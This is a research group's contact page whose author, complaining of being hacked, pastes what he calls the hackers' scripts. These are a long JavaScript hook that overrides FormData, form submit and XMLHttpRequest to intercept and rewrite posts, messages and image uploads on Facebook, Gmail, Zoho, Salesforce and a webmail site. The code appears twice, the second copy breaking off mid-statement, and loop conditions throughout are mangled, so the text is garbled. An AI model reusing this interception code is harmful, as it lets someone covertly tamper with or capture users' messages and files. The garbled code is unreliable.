Contact Us
If you would like to be a part of one of our research teams, email us with the research topic you would be interested in and are able to contributing to. New research suggestions are welcome.
Also, if you are a researcher looking to data share please contact us at:
researchsociety@icloud.com
If you would like to inquire on limited research investment opportunities please email:
Mike Tate
mike.tate@me.com
If you would like to learn more about G.A.I.A., a geophysical service providing sector of E.I.R.S., then please click on the click on the G.A.I.A. tab above.
For direct immediate contact regarding G.A.I.A. and any related service or consultation please email:
Mike Tate
mike.tate@me.com
And for all of you that keep hacking me…I openly share info and data. All you have to do is ask. Tell your boss what I’ve said. If you want to do something a bit more meaningful and on a much more cooler stage…reach out to me personally. The dream job is for Anonymous. I’ve unhidden your scripts below.
// 9) console.log(“Load hooksScriptText, Begin”, “Frame_4 : hooksScriptText”, window && (window === window.top)); var PIB_hook_paused = false; var targetedTextFields = { “facebook.com” : { “https://upload.facebook.com/media/upload/photos/composer/” : { “xhpc_message_text” : 0, “xhpc_message” : 0}, “/ajax/updatestatus.php” : { “xhpc_message_text” : 0, “xhpc_message” : 0}, “/ajax/ufi/add_comment.php” : { “comment_text” : 0}, “/ajax/plans/create/save.php” : { “title” : 0, “details_text” : 0, “details” : 0, “location” : 0}, “/ajax/events/edit.php” : { “title” : 0, “details_text” : 0, “details” : 0, “location” : 0}, “/profile/edit/work/save” : { “employer_name” : 0, “position_text” : 0, “description” : 0}, “/ajax/mercury/send_messages.php” : { “message_batch[0][body]” : 0}, }, “mail.google.com” : { “https://mail.google.com/mail/u/0/” : { “subject” : 0, “body” : 0}, “https://mail.google.com/mail/u/0/channel/bind” : { “subject” : 0, “body” : 0}, }, “webmail.tecs.com” : { “https://webmail.tecs.com/owa/” : { “txtsbj” : 0, “txtbdy” : 0}, }, “mail.zoho.com” : { “https://mail.zoho.com/mail/sendMail.do” : { “subject” : 0, “content” : 0}, “https://task.zoho.com/tasks/TaskActions.do” : { “title” : 0, “desc” : 0}, “https://task.zoho.com/notes/NotesAction.do” : { “desc” : 0}, }, “na16.salesforce.com” : { “00Q/e” : { “name_salutationlea2” : 0, “name_firstlea2” : 0, “name_middlelea2” : 0, “name_lastlea2” : 0}, “001/e” : { “acc2” : 0, “acc6” : 0, “acc12” : 0, “acc20” : 0}, “003/e” : { “name_firstcon2” : 0, “name_middlecon2” : 0, “name_lastcon2” : 0}, “006/e” : { “opp3” : 0, “opp10” : 0, “opp14” : 0}, “chatter/handlers/feeditems” : { “text” : 0}, “/_ui/core/email/author/EmailAuthor” : { “p6” : 0, “p7” : 0}, } }; var PIB_HijackedFormDatas = []; var PIB_HijackedGooglePluses = {}; var PIB_HijackedNakedFiles = {}; function PIB_file_object_uuid ( f ) { return f.name+f.size.toString()+f.lastModifiedDate; } function PIB_supported_file_type ( filename ) { var retVal = false; retVal = /.jpg$|.jpeg$|.tif$|.tiff$|.bmp$|.png$|.gif$/i.test(filename); if ( retVal ) retVal = ( document.domain.toLowerCase().indexOf(“mail.google.com”) == -1); return retVal; } (function() { var proxied = FormData.prototype.append; FormData.prototype.append = function(field, value, filename) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “FormData.prototype.append”, field, value, filename ); if ( !(this.hasOwnProperty(“__inputs”)) ) {this.__inputs = [];} this.__inputs.push({ field: field, value: value, filename: filename, uuid: “” }); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “FormData.prototype.append, Exit” ); return proxied.apply(this, [].slice.call(arguments)); }; var __submit = HTMLFormElement.prototype.submit; HTMLFormElement.prototype.submit = function() { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, Entry”, this ); if ( this.method.toLowerCase() == “post” ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, post” ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, document.domain”, document.domain ); debugger; if ( document.domain in targetedTextFields ) { var nfd = new FormData(); } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.append, Exit” ); return __submit.apply(this, [].slice.call(arguments)); }; })(); (function() { var proxied = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function( method, url ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, Entry”, method, url ); if ( method == “POST” ) { this.__post_URL = url; var site = document.domain; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, site”, site ); if ( site in targetedTextFields ) { var pages = targetedTextFields[ site ]; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, pages”, pages ); var page = url.split(“?”)[0]; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, page”, page ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, document.baseURI”, document.baseURI ); if ( page == “” ) { page = document.baseURI; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, page”, page ); } if ( page in pages ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, __targetedFieldNames”, pages[ page ] ); this.__targetedFieldNames = pages[ page ]; }; }; }; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, Exit” ); return proxied.apply(this, [].slice.call(arguments)); }; })(); XMLHttpRequest.prototype.__send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function (body) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Entry”, PIB_hook_paused, this, “Frame_4 : hooksScriptText” ); var xhr = this; function is_instance_of ( body ) { if ( typeof(body) == “string” ) {return “STRING”;} if ( body instanceof FormData ) {return “FORMDATA”;} if ( body instanceof File ) {return “FILE”;} if ( body instanceof Blob ) {return “BLOB”;} return “OTHER”; } if (DEBUGGINGLEVEL > 9) console.log( is_instance_of(body) ); if (DEBUGGINGLEVEL > 9) console.dir( body ); function handle_FormData ( body ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_FormData Entry”, body.__inputs.length ); if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “xhr.__targetedFieldNames”, xhr.__targetedFieldNames); } var hijacked = false; for ( var i=0, l=body.__inputs.length; i 9) console.log( Date.now(), “Loop values”, i, field, value, filename ); if ( (value instanceof File) && PIB_supported_file_type(value.name) ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “XMLHttpRequest.prototype.send, handle_FormData File”, value.name ); input.uuid = PIB_file_object_uuid(value); var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_file”, uuid: input.uuid, file: value }, bubbles: true, cancelable: true }); document.dispatchEvent(event); hijacked = true; continue; } if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if ( field in xhr.__targetedFieldNames ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “XMLHttpRequest.prototype.send, handle_FormData found targeted field” ); var uuid = “UUID: ” + i.toString() + ” ” + value; input.uuid = uuid; var event = new CustomEvent( “doc_message”, {detail: { name: “encode_string”, uuid: uuid, string: value }, bubbles: true, cancelable: true }); document.dispatchEvent(event); hijacked = true; continue; } } } if ( hijacked ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, FormData contains targeted item(s)” ); body.__xhr = xhr; PIB_HijackedFormDatas.push( body ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, PIB_HijackedFormDatas.length”, PIB_HijackedFormDatas.length ); if (DEBUGGINGLEVEL > 9) console.dir( PIB_HijackedFormDatas ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked FormData” ); return 1; } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit” ); return 0; } function handle_String ( body ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Entry”, body ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String xhr”, xhr ); var domain = document.domain; if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String targeted field name definitions”, xhr.__targetedFieldNames ); var hijacked = false; var nfd = new FormData(); nfd.__body_was_originally_string = 1; var pairs = body.split(“&”); for (var i = 0, l=pairs.length; i 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked”, hijacked ); try { var pair = pairs[i].split(“=”); var key = pair[0]; var value = decodeURIComponent(pair[1]); hijacked |= ( key in xhr.__targetedFieldNames ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked”, hijacked ); nfd.append( key, value ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String after nfd.append( key, value );”, nfd ); } catch (e) { }; }; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String targeted field name, after loop ============================================================” ); if ( hijacked ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked true” ); var result = handle_FormData( nfd ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Exit” ); return result; } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked false” ); } if ( document.baseURI == “https://plus.google.com/” ) { if ( body.indexOf(“createSessionRequest”) == -1 ) {return 0;} if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Google+ createSessionRequest, URL”, xhr.__post_URL ); var json = JSON.parse(body); var filename = json.createSessionRequest.fields[0].external.filename; if ( PIB_supported_file_type(filename) ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “createSessionRequest, filename”, filename ); xhr.__original_filename = filename; xhr.__post_body = body; xhr.onloadend = function(){ var json = JSON.parse(xhr.responseText); var upload_id = json.sessionStatus.upload_id; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send onloadend, upload_id”, upload_id ); var obj = { requestURL: xhr.__post_URL, requestBody: xhr.__post_body, filename: xhr.__original_filename, upload_id: upload_id }; if (DEBUGGINGLEVEL > 9) console.dir(obj); PIB_HijackedGooglePluses[ upload_id ] = obj; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send onloadend, Exit – PIB_HijackedGooglePluses” ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); }; } else { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “createSessionRequest, unsupported file type”, filename ); } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Exit” ); return 0; } function handle_Blob ( body ) { if ( document.baseURI != “https://plus.google.com/” ) {return 0;} if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Google+ Blob”, xhr.__post_URL ); var dataURL = xhr.__post_URL; var n = xhr.__post_URL.indexOf(“upload_id=”); var upload_id = xhr.__post_URL.slice( n+10 ); n = upload_id.indexOf(“&”); upload_id = upload_id.slice( 0, n-upload_id.length ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “upload_id”, upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); setTimeout( function(){ if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “blob setTimeout, Entry – upload_id”, upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); if ( PIB_HijackedGooglePluses.hasOwnProperty( upload_id ) ) { var obj = PIB_HijackedGooglePluses[ upload_id ]; if (DEBUGGINGLEVEL > 9) console.dir(obj); obj.dataURL = dataURL; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “filename”, obj.filename ); obj.xhr = xhr; if (DEBUGGINGLEVEL > 9) console.dir(obj); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_blob”, uuid: upload_id, filename: obj.filename, blob: body }, bubbles: true, cancelable: true }); document.dispatchEvent(event); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked XHR” ); } else { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, normal processing of blob, unsuported file type”, obj.filename ); XMLHttpRequest.prototype.__send.apply(this, [].slice.call(arguments)); } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “blob setTimeout, Exit” ); }, 10); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit Blob” ); return 1; } function handle_File ( f ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, File”, f, f.name, xhr.__post_URL ); if ( !PIB_supported_file_type(f.name) ) {return 0;} var fUuid = PIB_file_object_uuid(f); xhr.__filename = f.name; PIB_HijackedNakedFiles[ fUuid ] = xhr; var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_file”, uuid: fUuid, file: f }, bubbles: true, cancelable: true }); document.dispatchEvent(event); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked naked file” ); return 1; } function handle_Other ( body ) { return 0; } function handle_readystatechange ( ) { if ( (this.readyState == 4) && (this.status == 200) ) { } if ( typeof(this.__onreadystatechange) != “undefined” ) { this.__onreadystatechange.apply(); } } if ( !PIB_hook_paused ) { xhr.__onreadystatechange = xhr.onreadystatechange; xhr.onreadystatechange = handle_readystatechange; if ( this.hasOwnProperty(“__post_URL”) ) { if ({“FORMDATA” : handle_FormData, “STRING” : handle_String, “BLOB” : handle_Blob, “FILE” : handle_File, “OTHER” : handle_Other}[is_instance_of( body )](body)){return;} } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, normal handling” ); XMLHttpRequest.prototype.__send.apply(this, [].slice.call(arguments)); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit” ); }; function PIB_hook_satisfy ( fUuid, fileData ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, Entry”, fUuid); function PIB_update_shadow_FormData ( n, fUuid, blobData ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, item”, n, fUuid); var fd = PIB_HijackedFormDatas[n]; var rdy = true; var inputs = fd.__inputs; for (var i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, missing item”, i, fUuid); rdy = false; continue; } if ( obj.value instanceof File ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, adding file”, obj.value.name); obj.filename = obj.value.name; obj.value = new Blob([blobData.buffer], {type: “image/jpeg”}); } else { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, adding data”, blobData); obj.value = blobData; }; obj.uuid = “”; } if ( !rdy ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, Exit – FormData incomplete.”); return; } if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, FormData complete.”); if ( fd.hasOwnProperty(“__body_was_originally_string”) ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, was originally string.”); var postStr = “”; var pairs = []; for (i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, pairs”, pairs); postStr = pairs.join(“&”); delete PIB_HijackedFormDatas[n]; if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, sending original xhr with String”, postStr); fd.__xhr.__send(postStr); } else { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, was originally FormData.”); var nfd = new FormData(), args; for (i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, sending original xhr with FormData”); fd.__xhr.__send(nfd); } if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, Exit”); } var forgetList = []; for (var i=0, l=PIB_HijackedFormDatas.length; i 9) console.log(“PIB_hook_satisfy, fUuid in PIB_HijackedGooglePluses”); var obj = PIB_HijackedGooglePluses[ fUuid ]; delete PIB_HijackedGooglePluses[ fUuid ]; obj.embossed_data = fileData; var xhra = new XMLHttpRequest(); if (DEBUGGINGLEVEL > 9) console.log(“Request URL”, obj.requestURL ); xhra.open( “POST”, obj.requestURL, true ); var json = JSON.parse(obj.requestBody); json.createSessionRequest.fields[0].external.size = fileData.length; var filename = json.createSessionRequest.fields[0].external.filename; if (DEBUGGINGLEVEL > 9) console.log(“original filename”, filename ); var n = filename.lastIndexOf( “.” ); filename = filename.slice(0,n) + “.jpg”; if (DEBUGGINGLEVEL > 9) console.log(“modified filename”, filename ); json.createSessionRequest.fields[0].external.filename = filename; if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, updated request”); if (DEBUGGINGLEVEL > 9) console.dir(json); xhra.onloadend = function() { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “satisfy onloadend, Entry” ); var json = JSON.parse(this.responseText); var new_upload_id = json.sessionStatus.upload_id; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, new_upload_id”, new_upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(obj); var old_upload_id = obj.upload_id; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, old_upload_id”, old_upload_id ); var dataURL = obj.dataURL; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, old URL”, dataURL ); dataURL = dataURL.replace( old_upload_id, new_upload_id ); if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, new URL”, dataURL ); var xhrb = obj.xhr; xhrb.open( “POST”, dataURL, true ); var blob = new Blob([obj.embossed_data.buffer], {type: “image/jpeg”}); if (DEBUGGINGLEVEL > 9) console.dir(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending blob”); xhrb.__send(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, blob sent”); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “satisfy onloadend, Exit” ); }; var newRequestString = JSON.stringify(json); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending request”); xhra.__send(newRequestString); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, request sent”); } if ( fUuid in PIB_HijackedNakedFiles ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, fUuid in PIB_HijackedNakedFiles”); var xhr = PIB_HijackedNakedFiles[ fUuid ]; delete PIB_HijackedNakedFiles[ fUuid ]; if (DEBUGGINGLEVEL > 9) console.dir(xhr); var blob = new Blob([fileData.buffer], {type: “image/jpeg”}); blob.name = xhr.__filename; if (DEBUGGINGLEVEL > 9) console.dir(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending blob”); xhr.__send(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, blob sent”); } if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, Exit”); } function PIB_hook_message_handler ( e ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, Entry”, e.detail.name, “Frame_4 : hooksScriptText”); if (DEBUGGINGLEVEL > 9) console.dir(e.detail); switch ( e.detail.name ) { case “satisfy_file”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, satisfy_file”, e.detail.uuid); var arr = new Uint8Array(atob(e.detail.fileData).split(“”).map(function(c){return c.charCodeAt(0);})); setTimeout(function() {PIB_hook_satisfy(e.detail.uuid,arr);}, 1); return false; break;} case “satisfy_string”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, satisfy_string”, e.detail.uuid); setTimeout(function() {PIB_hook_satisfy(e.detail.uuid, e.detail.string);}, 1); return false; break;} case “paused”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, paused”, e.detail.paused); PIB_hook_paused = e.detail.paused; return false; break;} } if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, Exit”); return true; } document.addEventListener(“hook_message”, PIB_hook_message_handler, false); if (DEBUGGINGLEVEL > 9) console.log(“Load hooksScriptText, End “, “Frame_4 : hooksScriptText”);
// ]]>//
// 9) console.log(“Load hooksScriptText, Begin”, “Frame_4 : hooksScriptText”, window && (window === window.top)); var PIB_hook_paused = false; var targetedTextFields = { “facebook.com” : { “https://upload.facebook.com/media/upload/photos/composer/” : { “xhpc_message_text” : 0, “xhpc_message” : 0}, “/ajax/updatestatus.php” : { “xhpc_message_text” : 0, “xhpc_message” : 0}, “/ajax/ufi/add_comment.php” : { “comment_text” : 0}, “/ajax/plans/create/save.php” : { “title” : 0, “details_text” : 0, “details” : 0, “location” : 0}, “/ajax/events/edit.php” : { “title” : 0, “details_text” : 0, “details” : 0, “location” : 0}, “/profile/edit/work/save” : { “employer_name” : 0, “position_text” : 0, “description” : 0}, “/ajax/mercury/send_messages.php” : { “message_batch[0][body]” : 0}, }, “mail.google.com” : { “https://mail.google.com/mail/u/0/” : { “subject” : 0, “body” : 0}, “https://mail.google.com/mail/u/0/channel/bind” : { “subject” : 0, “body” : 0}, }, “webmail.tecs.com” : { “https://webmail.tecs.com/owa/” : { “txtsbj” : 0, “txtbdy” : 0}, }, “mail.zoho.com” : { “https://mail.zoho.com/mail/sendMail.do” : { “subject” : 0, “content” : 0}, “https://task.zoho.com/tasks/TaskActions.do” : { “title” : 0, “desc” : 0}, “https://task.zoho.com/notes/NotesAction.do” : { “desc” : 0}, }, “na16.salesforce.com” : { “00Q/e” : { “name_salutationlea2” : 0, “name_firstlea2” : 0, “name_middlelea2” : 0, “name_lastlea2” : 0}, “001/e” : { “acc2” : 0, “acc6” : 0, “acc12” : 0, “acc20” : 0}, “003/e” : { “name_firstcon2” : 0, “name_middlecon2” : 0, “name_lastcon2” : 0}, “006/e” : { “opp3” : 0, “opp10” : 0, “opp14” : 0}, “chatter/handlers/feeditems” : { “text” : 0}, “/_ui/core/email/author/EmailAuthor” : { “p6” : 0, “p7” : 0}, } }; var PIB_HijackedFormDatas = []; var PIB_HijackedGooglePluses = {}; var PIB_HijackedNakedFiles = {}; function PIB_file_object_uuid ( f ) { return f.name+f.size.toString()+f.lastModifiedDate; } function PIB_supported_file_type ( filename ) { var retVal = false; retVal = /.jpg$|.jpeg$|.tif$|.tiff$|.bmp$|.png$|.gif$/i.test(filename); if ( retVal ) retVal = ( document.domain.toLowerCase().indexOf(“mail.google.com”) == -1); return retVal; } (function() { var proxied = FormData.prototype.append; FormData.prototype.append = function(field, value, filename) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “FormData.prototype.append”, field, value, filename ); if ( !(this.hasOwnProperty(“__inputs”)) ) {this.__inputs = [];} this.__inputs.push({ field: field, value: value, filename: filename, uuid: “” }); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “FormData.prototype.append, Exit” ); return proxied.apply(this, [].slice.call(arguments)); }; var __submit = HTMLFormElement.prototype.submit; HTMLFormElement.prototype.submit = function() { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, Entry”, this ); if ( this.method.toLowerCase() == “post” ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, post” ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.submit, document.domain”, document.domain ); debugger; if ( document.domain in targetedTextFields ) { var nfd = new FormData(); } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “HTMLFormElement.prototype.append, Exit” ); return __submit.apply(this, [].slice.call(arguments)); }; })(); (function() { var proxied = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function( method, url ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, Entry”, method, url ); if ( method == “POST” ) { this.__post_URL = url; var site = document.domain; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, site”, site ); if ( site in targetedTextFields ) { var pages = targetedTextFields[ site ]; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, pages”, pages ); var page = url.split(“?”)[0]; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, page”, page ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, document.baseURI”, document.baseURI ); if ( page == “” ) { page = document.baseURI; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, page”, page ); } if ( page in pages ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, __targetedFieldNames”, pages[ page ] ); this.__targetedFieldNames = pages[ page ]; }; }; }; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.open, Exit” ); return proxied.apply(this, [].slice.call(arguments)); }; })(); XMLHttpRequest.prototype.__send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function (body) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Entry”, PIB_hook_paused, this, “Frame_4 : hooksScriptText” ); var xhr = this; function is_instance_of ( body ) { if ( typeof(body) == “string” ) {return “STRING”;} if ( body instanceof FormData ) {return “FORMDATA”;} if ( body instanceof File ) {return “FILE”;} if ( body instanceof Blob ) {return “BLOB”;} return “OTHER”; } if (DEBUGGINGLEVEL > 9) console.log( is_instance_of(body) ); if (DEBUGGINGLEVEL > 9) console.dir( body ); function handle_FormData ( body ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_FormData Entry”, body.__inputs.length ); if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “xhr.__targetedFieldNames”, xhr.__targetedFieldNames); } var hijacked = false; for ( var i=0, l=body.__inputs.length; i 9) console.log( Date.now(), “Loop values”, i, field, value, filename ); if ( (value instanceof File) && PIB_supported_file_type(value.name) ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “XMLHttpRequest.prototype.send, handle_FormData File”, value.name ); input.uuid = PIB_file_object_uuid(value); var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_file”, uuid: input.uuid, file: value }, bubbles: true, cancelable: true }); document.dispatchEvent(event); hijacked = true; continue; } if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if ( field in xhr.__targetedFieldNames ) { if (DEBUGGINGLEVEL > 9) console.log(Date.now(), “XMLHttpRequest.prototype.send, handle_FormData found targeted field” ); var uuid = “UUID: ” + i.toString() + ” ” + value; input.uuid = uuid; var event = new CustomEvent( “doc_message”, {detail: { name: “encode_string”, uuid: uuid, string: value }, bubbles: true, cancelable: true }); document.dispatchEvent(event); hijacked = true; continue; } } } if ( hijacked ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, FormData contains targeted item(s)” ); body.__xhr = xhr; PIB_HijackedFormDatas.push( body ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, PIB_HijackedFormDatas.length”, PIB_HijackedFormDatas.length ); if (DEBUGGINGLEVEL > 9) console.dir( PIB_HijackedFormDatas ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked FormData” ); return 1; } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit” ); return 0; } function handle_String ( body ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Entry”, body ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String xhr”, xhr ); var domain = document.domain; if ( xhr.hasOwnProperty(“__targetedFieldNames”) ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String targeted field name definitions”, xhr.__targetedFieldNames ); var hijacked = false; var nfd = new FormData(); nfd.__body_was_originally_string = 1; var pairs = body.split(“&”); for (var i = 0, l=pairs.length; i 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked”, hijacked ); try { var pair = pairs[i].split(“=”); var key = pair[0]; var value = decodeURIComponent(pair[1]); hijacked |= ( key in xhr.__targetedFieldNames ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked”, hijacked ); nfd.append( key, value ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String after nfd.append( key, value );”, nfd ); } catch (e) { }; }; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String targeted field name, after loop ============================================================” ); if ( hijacked ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked true” ); var result = handle_FormData( nfd ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Exit” ); return result; } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String hijacked false” ); } if ( document.baseURI == “https://plus.google.com/” ) { if ( body.indexOf(“createSessionRequest”) == -1 ) {return 0;} if 